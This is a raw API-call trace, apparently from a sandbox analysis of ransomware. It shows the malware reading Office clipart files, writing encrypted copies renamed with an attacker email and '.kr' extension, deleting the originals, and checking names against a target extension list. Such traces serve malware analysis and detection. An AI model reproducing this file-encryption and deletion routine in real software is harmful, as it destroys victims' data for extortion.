[0207.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0207.292] GetLastError () returned 0x0 [0207.292] ReadFile (in: hFile=0x3f8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1864, lpOverlapped=0x0) returned 1 [0207.294] WriteFile (in: hFile=0x574, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1870, lpOverlapped=0x0) returned 1 [0207.295] ReadFile (in: hFile=0x3f8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.295] WriteFile (in: hFile=0x574, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.295] SetEndOfFile (hFile=0x574) returned 1 [0207.295] CloseHandle (hObject=0x574) returned 1 [0207.295] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.295] SetEndOfFile (hFile=0x3f8) returned 1 [0207.299] CloseHandle (hObject=0x3f8) returned 1 [0207.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0207.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105414.wmf")) returned 1 [0207.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0207.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0207.300] lstrlenW (lpString=".doc") returned 4 [0207.300] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.300] lstrlenW (lpString=".docx") returned 5 [0207.300] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0207.300] lstrlenW (lpString=".pdf") returned 4 [0207.300] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.300] lstrlenW (lpString=".xls") returned 4 [0207.300] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.300] lstrlenW (lpString=".xlsx") returned 5 [0207.300] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0207.300] lstrlenW (lpString=".ppt") returned 4 [0207.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0207.301] lstrlenW (lpString=".zip") returned 4 [0207.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.301] lstrlenW (lpString=".rar") returned 4 [0207.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.301] lstrlenW (lpString=".bz2") returned 4 [0207.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.301] lstrlenW (lpString=".7z") returned 3 [0207.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0207.301] lstrlenW (lpString=".dbf") returned 4 [0207.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0207.301] lstrlenW (lpString=".1cd") returned 4 [0207.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0207.301] lstrlenW (lpString=".jpg") returned 4 [0207.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0207.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0207.301] lstrlenW (lpString=".doc") returned 4 [0207.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.301] lstrlenW (lpString=".docx") returned 5 [0207.301] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0207.301] lstrlenW (lpString=".pdf") returned 4 [0207.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.301] lstrlenW (lpString=".xls") returned 4 [0207.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.301] lstrlenW (lpString=".xlsx") returned 5 [0207.301] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0207.301] lstrlenW (lpString=".ppt") returned 4 [0207.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0207.302] lstrlenW (lpString=".zip") returned 4 [0207.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.302] lstrlenW (lpString=".rar") returned 4 [0207.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.302] lstrlenW (lpString=".bz2") returned 4 [0207.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.302] lstrlenW (lpString=".7z") returned 3 [0207.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0207.302] lstrlenW (lpString=".dbf") returned 4 [0207.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0207.302] lstrlenW (lpString=".1cd") returned 4 [0207.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105414.WMF") returned 68 [0207.302] lstrlenW (lpString=".jpg") returned 4 [0207.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.302] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0207.302] lstrlenW (lpString="J0105490.WMF") returned 12 [0207.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0207.303] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=18728) returned 1 [0207.304] CloseHandle (hObject=0x3f8) returned 1 [0207.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 0x220 [0207.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0207.304] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.304] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0207.305] GetLastError () returned 0x0 [0207.305] ReadFile (in: hFile=0x3f8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x4928, lpOverlapped=0x0) returned 1 [0207.307] WriteFile (in: hFile=0x574, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x4930, lpOverlapped=0x0) returned 1 [0207.308] ReadFile (in: hFile=0x3f8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.309] WriteFile (in: hFile=0x574, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.309] SetEndOfFile (hFile=0x574) returned 1 [0207.309] CloseHandle (hObject=0x574) returned 1 [0207.309] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.309] SetEndOfFile (hFile=0x3f8) returned 1 [0207.311] CloseHandle (hObject=0x3f8) returned 1 [0207.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0207.312] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 1 [0207.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0207.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0207.313] lstrlenW (lpString=".doc") returned 4 [0207.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.313] lstrlenW (lpString=".docx") returned 5 [0207.313] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0207.313] lstrlenW (lpString=".pdf") returned 4 [0207.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.313] lstrlenW (lpString=".xls") returned 4 [0207.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.313] lstrlenW (lpString=".xlsx") returned 5 [0207.313] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0207.313] lstrlenW (lpString=".ppt") returned 4 [0207.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0207.313] lstrlenW (lpString=".zip") returned 4 [0207.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.313] lstrlenW (lpString=".rar") returned 4 [0207.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.313] lstrlenW (lpString=".bz2") returned 4 [0207.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.313] lstrlenW (lpString=".7z") returned 3 [0207.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0207.313] lstrlenW (lpString=".dbf") returned 4 [0207.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0207.313] lstrlenW (lpString=".1cd") returned 4 [0207.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0207.313] lstrlenW (lpString=".jpg") returned 4 [0207.314] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0207.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0207.314] lstrlenW (lpString=".doc") returned 4 [0207.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.314] lstrlenW (lpString=".docx") returned 5 [0207.314] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0207.314] lstrlenW (lpString=".pdf") returned 4 [0207.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.314] lstrlenW (lpString=".xls") returned 4 [0207.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.314] lstrlenW (lpString=".xlsx") returned 5 [0207.314] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0207.314] lstrlenW (lpString=".ppt") returned 4 [0207.314] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0207.314] lstrlenW (lpString=".zip") returned 4 [0207.314] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.314] lstrlenW (lpString=".rar") returned 4 [0207.314] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.314] lstrlenW (lpString=".bz2") returned 4 [0207.314] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.314] lstrlenW (lpString=".7z") returned 3 [0207.314] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0207.314] lstrlenW (lpString=".dbf") returned 4 [0207.314] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0207.314] lstrlenW (lpString=".1cd") returned 4 [0207.314] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0207.314] lstrlenW (lpString=".jpg") returned 4 [0207.315] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.315] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0207.315] lstrlenW (lpString="J0105496.WMF") returned 12 [0207.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0207.315] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=5156) returned 1 [0207.315] CloseHandle (hObject=0x3f8) returned 1 [0207.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 0x220 [0207.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0207.316] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.316] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0207.317] GetLastError () returned 0x0 [0207.317] ReadFile (in: hFile=0x3f8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1424, lpOverlapped=0x0) returned 1 [0207.318] WriteFile (in: hFile=0x574, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1430, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1430, lpOverlapped=0x0) returned 1 [0207.319] ReadFile (in: hFile=0x3f8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.319] WriteFile (in: hFile=0x574, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.319] SetEndOfFile (hFile=0x574) returned 1 [0207.320] CloseHandle (hObject=0x574) returned 1 [0207.320] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.320] SetEndOfFile (hFile=0x3f8) returned 1 [0207.322] CloseHandle (hObject=0x3f8) returned 1 [0208.332] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0208.787] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105496.wmf")) returned 1 [0210.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0210.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0210.329] lstrlenW (lpString=".doc") returned 4 [0210.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.329] lstrlenW (lpString=".docx") returned 5 [0210.330] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.330] lstrlenW (lpString=".pdf") returned 4 [0210.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.330] lstrlenW (lpString=".xls") returned 4 [0210.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.330] lstrlenW (lpString=".xlsx") returned 5 [0210.330] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.330] lstrlenW (lpString=".ppt") returned 4 [0210.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0210.330] lstrlenW (lpString=".zip") returned 4 [0210.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.330] lstrlenW (lpString=".rar") returned 4 [0210.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.330] lstrlenW (lpString=".bz2") returned 4 [0210.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.330] lstrlenW (lpString=".7z") returned 3 [0210.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0210.330] lstrlenW (lpString=".dbf") returned 4 [0210.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0210.330] lstrlenW (lpString=".1cd") returned 4 [0210.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0210.330] lstrlenW (lpString=".jpg") returned 4 [0210.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0210.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0210.330] lstrlenW (lpString=".doc") returned 4 [0210.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.331] lstrlenW (lpString=".docx") returned 5 [0210.331] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.331] lstrlenW (lpString=".pdf") returned 4 [0210.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.331] lstrlenW (lpString=".xls") returned 4 [0210.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.331] lstrlenW (lpString=".xlsx") returned 5 [0210.331] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.331] lstrlenW (lpString=".ppt") returned 4 [0210.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0210.331] lstrlenW (lpString=".zip") returned 4 [0210.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.331] lstrlenW (lpString=".rar") returned 4 [0210.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.331] lstrlenW (lpString=".bz2") returned 4 [0210.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.331] lstrlenW (lpString=".7z") returned 3 [0210.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0210.331] lstrlenW (lpString=".dbf") returned 4 [0210.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0210.331] lstrlenW (lpString=".1cd") returned 4 [0210.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0210.331] lstrlenW (lpString=".jpg") returned 4 [0210.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.331] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0210.331] lstrlenW (lpString="J0106958.WMF") returned 12 [0210.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0210.473] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=13784) returned 1 [0210.473] CloseHandle (hObject=0x54c) returned 1 [0210.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf")) returned 0x220 [0210.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0210.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0210.993] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.993] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106958.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106958.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0211.107] GetLastError () returned 0x0 [0211.107] ReadFile (in: hFile=0x4d8, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, 